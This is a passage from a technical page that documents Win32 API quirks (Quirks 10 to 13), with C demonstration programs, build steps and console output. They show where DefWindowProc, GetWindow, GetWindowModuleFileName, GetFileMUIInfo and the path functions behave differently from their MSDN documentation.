    			       (HCURSOR) NULL,
    			       (HBRUSH) COLOR_BACKGROUND,
    			       (LPCWSTR) NULL,
    			       L"Quirks Demonstration Class",
    			       (HICON) NULL};
    	ATOM	atom = RegisterClassEx(&wce);
    
    	if (atom == 0)
    		dwError = GetLastError();
    	else
    	{
    		hWindow = CreateWindowEx(WS_EX_APPWINDOW,
    		                         wce.lpszClassName,
    		                         L"Quirks Demonstration Window",
    		                         WS_OVERLAPPEDWINDOW | WS_VISIBLE,
    		                         CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
    		                         (HWND) NULL,
    		                         (HMENU) NULL,
    		                         wce.hInstance,
    		                         NULL);
    
    		if (hWindow == NULL)
    			dwError = GetLastError();
    		else
    		{
    			while ((bResult = GetMessage(&msg, (HWND) NULL, 0, 0)) > 0)
    			{
    				if (TranslateMessage(&msg))
    					;
    
    				lResult = DispatchMessage(&msg);
    			}
    
    			dwError = bResult < 0 ? GetLastError() : msg.wParam;
    		}
    
    		if (!UnregisterClass(wce.lpszClassName, wce.hInstance))
    			dwError = GetLastError();
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk10.exe from the source file quirk10.c created in step 1. with the preprocessor macro QUIRKS defined as 2:

    SET CL=/GAFy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE /DQUIRKS=2 quirk10.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk10.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk10.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk10.exe
    quirk10.obj
  3. Start the console application quirk10.exe built in step 2. and close its window to demonstrate the first (mis)behaviour:

    .\quirk10.exe
    OUCH¹: although the application window titled Quirks Demonstration Window was closed, the Command Processor waits for the child process to terminate … for example through the Ctrl C keyboard shortcut!

    Contrary to its documentation cited above, the Win32 function DefWindowProc() fails to provide the typical response to the WM_DESTROY message, i.e. it does not call PostQuitMessage() to terminate the message loop running in the primary thread of the process!

  4. Build the console application quirk10.exe from the source file quirk10.c created in step 1. again, now with the preprocessor macro QUIRKS defined as 1:

    CL.EXE /DQUIRKS=1 quirk10.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk10.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk10.exe
    quirk10.obj
  5. Start the console application quirk10.exe built in step 4. to demonstrate the second (mis)behaviour:

    .\quirk10.exe
    [Screen shot of untitled application window on Windows XP] [Screen shot of untitled application window on Windows 7] [Screen shot of untitled application window on Windows 10]
    OUCH²: the application window is displayed without its title Quirks Demonstration Window!

    Contrary to the documentation cited above, an application’s WindowProc() must not return TRUE in response to the WM_NCCREATE message, but needs to call the DefWindowProc() function instead!

Note: repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 11

The Win32 functions GetOpenClipboardWindow(), GetWindow() and GetWindowModuleFileName() are documented in the MSDN as follows:
HWND GetOpenClipboardWindow();
[…]

If the function succeeds, the return value is the handle to the window that has the clipboard open. If no window has the clipboard open, the return value is NULL. To get extended error information, call GetLastError.

HWND GetWindow(
  HWND hWnd,
  UINT uCmd
);
[…]
Value Meaning
GW_ENABLEDPOPUP
6
The retrieved handle identifies the enabled popup window owned by the specified window (the search uses the first such window found using GW_HWNDNEXT); otherwise, if there are no enabled popup windows, the retrieved handle is that of the specified window.
[…]

If the function succeeds, the return value is a window handle. If no window exists with the specified relationship to the specified window, the return value is NULL. To get extended error information, call GetLastError.

UINT GetWindowModuleFileName(
  HWND   hwnd,
  LPTSTR pszFileName,
  UINT   cchFileNameMax
);
[…]

The return value is the total number of characters copied into the buffer.

Note: the last documentation fails to specify error conditions and restrictions!

Demonstration

Perform the following 3 simple steps to show the inconsistent (mis)behaviour.
  1. Create the text file quirk11.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2021, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	WCHAR	szBuffer[MAX_PATH];
    	DWORD	dwBuffer;
    	DWORD	dwError = ERROR_SUCCESS;
    	HWND	hWindow = HWND_DESKTOP;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		hWindow = GetWindow(hWindow, GW_ENABLEDPOPUP);
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetWindow() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		hWindow = GetActiveWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetActiveWindow() returned NULL\n");
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		hWindow = GetConsoleWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetConsoleWindow() returned NULL\n");
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		SetLastError('FAIL');
    
    		hWindow = GetDesktopWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetDesktopWindow() returned NULL\n");
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		hWindow = GetForegroundWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetForegroundWindow() returned NULL\n");
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		SetLastError('FAIL');
    
    		hWindow = GetOpenClipboardWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetOpenClipboardWindow() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		hWindow = GetShellWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetShellWindow() returned NULL\n");
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		hWindow = GetTopWindow(HWND_DESKTOP);
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetTopWindow() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		SetLastError('FAIL');
    
    		hWindow = GetWindow(hWindow, GW_ENABLEDPOPUP);
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetWindow() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		dwBuffer = GetWindowModuleFileName(hWindow = HWND_BOTTOM, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    			             hWindow, dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    			             hWindow, szBuffer, dwBuffer);
    
    		dwBuffer = GetWindowModuleFileName(hWindow = HWND_TOP, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    			             hWindow, dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    			             hWindow, szBuffer, dwBuffer);
    
    		dwBuffer = GetWindowModuleFileName(hWindow = HWND_TOPMOST, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    			             hWindow, dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    			             hWindow, szBuffer, dwBuffer);
    
    		dwBuffer = GetWindowModuleFileName(hWindow = HWND_NOTOPMOST, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    			             hWindow, dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    			             hWindow, szBuffer, dwBuffer);
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk11.exe from the source file quirk11.c created in step 1.:

    SET CL=/GAFy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk11.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk11.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk11.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk11.exe
    quirk11.obj
  3. Execute the console application quirk11.exe built in step 2. to demonstrate the inconsistent (mis)behaviour:

    .\quirk11.exe
    IF ERRORLEVEL 1 NET.EXE HELPMSG %ERRORLEVEL%
    GetWindow() returned error 1400
    GetActiveWindow() returned NULL
    GetWindowModuleFileName(0x0025021C, …) returned pathname 'C:\Users\Stefan\Desktop\quirk11.exe' of 35 characters
    GetWindowModuleFileName(0x00010010, …) returned error 1178683724
    GetWindowModuleFileName(0x0025021C, …) returned pathname 'C:\Users\Stefan\Desktop\quirk11.exe' of 35 characters
    GetOpenClipboardWindow() returned error 1178683724
    GetWindowModuleFileName(0x00020104, …) returned error 1178683724
    GetWindowModuleFileName(0x035D0EA0, …) returned pathname 'C:\Users\Stefan\Desktop\quirk11.exe' of 35 characters
    GetWindow() returned error 1178683724
    GetWindowModuleFileName(0x00000001, …) returned error 1400
    GetWindowModuleFileName(0x00000000, …) returned error 1400
    GetWindowModuleFileName(0xFFFFFFFF, …) returned error 1400
    GetWindowModuleFileName(0xFFFFFFFE, …) returned error 1400
    
    Invalid window handle.
    OUCH¹: the Win32 function GetWindow() does not support the pseudo handle HWND_DESKTOP alias NULL, but returns NULL with Win32 error 1400 alias ERROR_INVALID_WINDOW_HANDLE set!

    OUCH²: it does not return the handle of the specified window if this does not own an enabled popup window, but NULL and fails to set the Win32 error!

    OUCH³: it returns NULL but fails to set the Win32 error if no window with the specified relationship exists!

    Note: the Win32 function GetWindowModuleFileName() returns 0 and does not modify the buffer in case of failure!

    OUCH⁴: it returns the pathname of the calling console application although this did not create the window!

    OUCH⁵: it returns 0 but fails to set the Win32 error if the window was created in another process, except for the console window!

    OUCH⁶: it does not support the pseudo handles HWND_BOTTOM, HWND_TOP alias HWND_DESKTOP, HWND_TOPMOST and HWND_NOTOPMOST, but returns 0 with Win32 error 1400 alias ERROR_INVALID_WINDOW_HANDLE set!

    OUCH⁷: the Win32 function GetOpenClipboardWindow() returns NULL but fails to set the Win32 error if the clipboard is not opened by a window!

Note: repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 12

The Win32 function GetFileMUIInfo() is documented in the MSDN as follows:
BOOL GetFileMUIInfo(
  DWORD        dwFlags,
  PCWSTR       pcwszFilePath,
  PFILEMUIINFO pFileMUIInfo,
  DWORD        *pcbFileMUIInfo
);
[…]

pFileMUIInfo
[…]
Alternatively, the application can set this parameter to NULL if pcbFileMUIInfo is set to 0. In this case, the function retrieves the required size for the information buffer in pcbFileMUIInfo.
[…]

pcbFileMUIInfo
[…]
Alternatively, the application can set this parameter to 0 if it sets NULL in pFileMUIInfo. In this case, the function retrieves the required file information buffer size in pcbFileMUIInfo. To allocate the correct amount of memory, this value should be added to the size of the FILEMUIINFO structure itself.

The description of its behaviour is but wrong and misleading!

The initial call of GetFileMUIInfo() for any module, with address and size of the buffer given as NULL and 0, fails (expected and intended) with Win32 error 122 alias ERROR_INSUFFICIENT_BUFFER, but always returns 84 as (additional) buffer size; subsequent calls then return the full buffer size.
The returned (additional or full) buffer size is but not always sufficient; subsequent calls can fail again with Win32 error 122 alias ERROR_INSUFFICIENT_BUFFER, so additional calls with the buffer size returned from the previous call are then necessary until the call finally succeeds!

Note: implemented properly, the first call would return the correct (full) buffer size and grant a successful second call, as documented (for example) in the MSDN article Retrieving Data of Unknown Length!

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk12.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2009-2021, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    const	WCHAR	szModule[] = L"C:\\Windows\\RegEdit.exe";
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	PFILEMUIINFO	lpFileMUIInfo = NULL;
    	DWORD		dwFileMUIInfo = 0;
    	DWORD		dwError;
    	HANDLE		hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (GetFileMUIInfo(MUI_QUERY_CHECKSUM | MUI_QUERY_LANGUAGE_NAME | MUI_QUERY_RESOURCE_TYPES | MUI_QUERY_TYPE,
    		                   szModule, lpFileMUIInfo, &dwFileMUIInfo))
    			PrintConsole(hConsole,
    			             L"GetFileMUIInfo() returned success %lu and buffer size %lu for module \'%ls\'\n",
    			             dwError = GetLastError(), dwFileMUIInfo, szModule);
    		else
    		{
    			PrintConsole(hConsole,
    			             L"GetFileMUIInfo() returned error %lu and buffer size %lu for module \'%ls\'\n",
    			             dwError = GetLastError(), dwFileMUIInfo, szModule);
    
    			dwFileMUIInfo += sizeof(FILEMUIINFO);
    
    			while (dwError == ERROR_INSUFFICIENT_BUFFER)
    			{
    				lpFileMUIInfo = LocalAlloc(LPTR, dwFileMUIInfo);
    
    				if (lpFileMUIInfo == NULL)
    					PrintConsole(hConsole,
    					             L"LocalAlloc() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					lpFileMUIInfo->dwSize = dwFileMUIInfo;
    					lpFileMUIInfo->dwVersion = MUI_FILEINFO_VERSION;
    
    					if (GetFileMUIInfo(MUI_QUERY_CHECKSUM | MUI_QUERY_LANGUAGE_NAME | MUI_QUERY_RESOURCE_TYPES | MUI_QUERY_TYPE,
    					                   szModule, lpFileMUIInfo, &dwFileMUIInfo))
    						PrintConsole(hConsole,
    						             L"GetFileMUIInfo() returned success %lu and buffer size %lu for module \'%ls\'\n",
    						             dwError = GetLastError(), dwFileMUIInfo, szModule);
    					else
    						PrintConsole(hConsole,
    						             L"GetFileMUIInfo() returned error %lu and buffer size %lu for module \'%ls\'\n",
    						             dwError = GetLastError(), dwFileMUIInfo, szModule);
    
    					if (LocalFree(lpFileMUIInfo) != NULL)
    						PrintConsole(hConsole,
    						             L"LocalFree() returned error %lu\n",
    						             dwError = GetLastError());
    				}
    			}
    		}
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk12.exe from the source file quirk12.c created in step 1.:

    SET CL=/GAFy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk12.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk12.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk12.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk12.exe
    quirk12.obj
  3. Execute the console application quirk12.exe built in step 2. to demonstrate the (mis)behaviour of the Win32 function GetFileMUIInfo():

    .\quirk12.exe
    GetFileMUIInfo() returned error 122 and buffer size 84 for module 'C:\Windows\RegEdit.exe'
    GetFileMUIInfo() returned error 122 and buffer size 166 for module 'C:\Windows\RegEdit.exe'
    GetFileMUIInfo() returned error 122 and buffer size 180 for module 'C:\Windows\RegEdit.exe'
    GetFileMUIInfo() returned success 0 and buffer size 180 for module 'C:\Windows\RegEdit.exe'
Note: repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 13

The Win32 functions FindFirstFile(), GetFullPathName(), GetLongPathName() and GetShortPathName() are documented in the MSDN as follows:
HANDLE FindFirstFile(
  LPCTSTR           lpFileName,
  LPWIN32_FIND_DATA lpFindFileData
);
[…]

If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose, and the lpFindFileData parameter contains information about the first file or directory found.

If the function fails or fails to locate files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of lpFindFileData are indeterminate. To get extended error information, call the GetLastError function.

If the function fails because no matching files can be found, the GetLastError function returns ERROR_FILE_NOT_FOUND.

DWORD GetFullPathName(
  LPCTSTR lpFileName,
  DWORD   nBufferLength,
  LPTSTR  lpBuffer,
  LPTSTR  *lpFilePart
);
[…]

This function does not verify that the resulting path and file name are valid, or that they see an existing file on the associated volume.

[…]

If the return value is greater than or equal to the value specified in nBufferLength, you can call the function again with a buffer that is large enough to hold the path. […]

Note Although the return value in this case is a length that includes the terminating null character, the return value on success does not include the terminating null character in the count.
DWORD GetLongPathName(
  LPCTSTR lpszShortPath,
  LPTSTR  lpszLongPath,
  DWORD   cchBuffer
);
[…]

If the function succeeds, the return value is the length, in TCHARs, of the string copied to lpszLongPath, not including the terminating null character.

If the lpBuffer buffer is too small to contain the path, the return value is the size, in TCHARs, of the buffer that is required to hold the path and the terminating null character.

If the function fails for any other reason, such as if the file does not exist, the return value is zero. To get extended error information, call GetLastError.

[…]

If the file or directory exists but a long path is not found, GetLongPathName succeeds, having copied the string referred to by the lpszShortPath parameter to the buffer referred to by the lpszLongPath parameter.

If the return value is greater than the value specified in cchBuffer, you can call the function again with a buffer that is large enough to hold the path. […]

Note Although the return value in this case is a length that includes the terminating null character, the return value on success does not include the terminating null character in the count.
DWORD GetShortPathName(
  LPCTSTR lpszLongPath,
  LPTSTR  lpszShortPath,
  DWORD   cchBuffer
);
[…]

If the function succeeds, the return value is the length, in TCHARs, of the string that is copied to lpszShortPath, not including the terminating null character.

If the lpszShortPath buffer is too small to contain the path, the return value is the size of the buffer, in TCHARs, that is required to hold the path and the terminating null character.

If the function fails for any other reason, the return value is zero. To get extended error information, call GetLastError.

[…]

If the return value is greater than the value specified in the cchBuffer parameter, you can call the function again with a buffer that is large enough to hold the path. […]

Note Although the return value in this case is a length that includes the terminating null character, the return value on success does not include the terminating null character in the count.
[…]

If you call GetShortPathName on a path that doesn't have any short names on-disk, the call will succeed, but will return the long-name path instead. This outcome is also possible with NTFS volumes because there's no guarantee that a short name will exist for a given long name.

Demonstration

Perform the following 3 simple steps to show the inconsistent (mis)behaviour.
  1. Create the text file quirk13.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2021, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	WIN32_FIND_DATA	wfd;
    
    	WCHAR	szBuffer[MAX_PATH];
    	DWORD	dwBuffer;
    	DWORD	dwError;
    	BOOL	bFind = FALSE;
    	HANDLE	hFind;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    #ifdef DEVICE
    		hFind = FindFirstFile(L"..\\NUL:", &wfd);
    #else
    		hFind = FindFirstFile(L"Quirk13 \\*", &wfd);
    #endif
    		if (hFind == INVALID_HANDLE_VALUE)
    			PrintConsole(hConsole,
    			             L"FindFirstFile() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			do
    			{
    				PrintConsole(hConsole,
    				             L"Find%lsFile() returned filename \'%ls\' with alternate (8.3) filename \'%ls\' and attributes 0x%08lX\n",
    				             bFind ? L"Next" : L"First", wfd.cFileName, wfd.cAlternateFileName, wfd.dwFileAttributes);
    				bFind = FindNextFile(hFind, &wfd);
    			} while (bFind);
    
    			dwError = GetLastError();
    
    			if (dwError == ERROR_NO_MORE_FILES)
    				dwError = ERROR_SUCCESS;
    			else
    				PrintConsole(hConsole,
    				             L"FindNextFile() returned error %lu\n",
    				             dwError);
    
    			if (!FindClose(hFind))
    				PrintConsole(hConsole,
    				             L"FindClose() returned error %lu\n",
    				             dwError = GetLastError());
    		}
    #ifdef DEVICE
    		dwBuffer = GetFullPathName(L"..\\NUL:", sizeof(szBuffer) / sizeof(*szBuffer), szBuffer, NULL);
    #else
    		dwBuffer = GetFullPathName(L"Quirk13 \\*", sizeof(szBuffer) / sizeof(*szBuffer), szBuffer, NULL);
    #endif
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetFullPathName() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetFullPathName() returned pathname \'%ls\' of %lu characters\n",
    			             szBuffer, dwBuffer);
    #ifdef DEVICE
    		hFind = FindFirstFile(L"..\\NUL:", &wfd);
    #else
    		hFind = FindFirstFile(L"Quirk13 \\.", &wfd);
    #endif
    		if (hFind == INVALID_HANDLE_VALUE)
    			PrintConsole(hConsole,
    			             L"FindFirstFile() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			do
    			{
    				PrintConsole(hConsole,
    				             L"Find%lsFile() returned filename \'%ls\' with alternate (8.3) filename \'%ls\' and attributes 0x%08lX\n",
    				             bFind ? L"Next" : L"First", wfd.cFileName, wfd.cAlternateFileName, wfd.dwFileAttributes);
    				bFind = FindNextFile(hFind, &wfd);
    			} while (bFind);
    
    			dwError = GetLastError();
    
    			if (dwError == ERROR_NO_MORE_FILES)
    				dwError = ERROR_SUCCESS;
    			else
    				PrintConsole(hConsole,
    				             L"FindNextFile() returned error %lu\n",
    				             dwError);
    
    			if (!FindClose(hFind))
    				PrintConsole(hConsole,
    				             L"FindClose() returned error %lu\n",
    				             dwError = GetLastError());
    		}
    #ifdef DEVICE
    		dwBuffer = GetFullPathName(L"..\\NUL:", sizeof(szBuffer) / sizeof(*szBuffer), szBuffer, NULL);
    #else
